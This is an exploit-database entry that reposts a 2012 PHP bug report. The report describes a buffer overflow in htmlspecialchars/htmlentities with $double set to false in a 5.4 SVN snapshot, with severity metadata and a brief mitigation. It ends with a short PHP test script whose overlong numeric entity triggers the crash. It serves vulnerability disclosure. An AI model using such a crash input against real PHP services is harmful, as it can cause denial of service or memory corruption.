Buffer overflow on htmlspecialchars/entities with $double=false

vendor:

PHP

by:

cataphract

8,8

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: PHP

Affected Version From: 5.4SVN-2012-02-03 (SVN)

Affected Version To: 5.4SVN-2012-02-03 (SVN)

Patch Exists: YES

Related CWE: None

CPE: a:php:php:5.4svn-2012-02-03

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Any

2012

Buffer overflow on htmlspecialchars/entities with $double=false

Long entities can cause a buffer overflow because the loop only guarantees 40 bytes available in beginning.

Mitigation:

Ensure that the length of the entities is within the expected range.

Source

Exploit-DB raw data:

From:             cataphract
Operating system: Any
PHP version:      5.4SVN-2012-02-03 (SVN)
Package:          Reproducible crash
Bug Type:         Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false

Description:
------------
Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.

Test script:
---------------
<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""&#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005;',
ENT_QUOTES, 'UTF-8', false), "\n";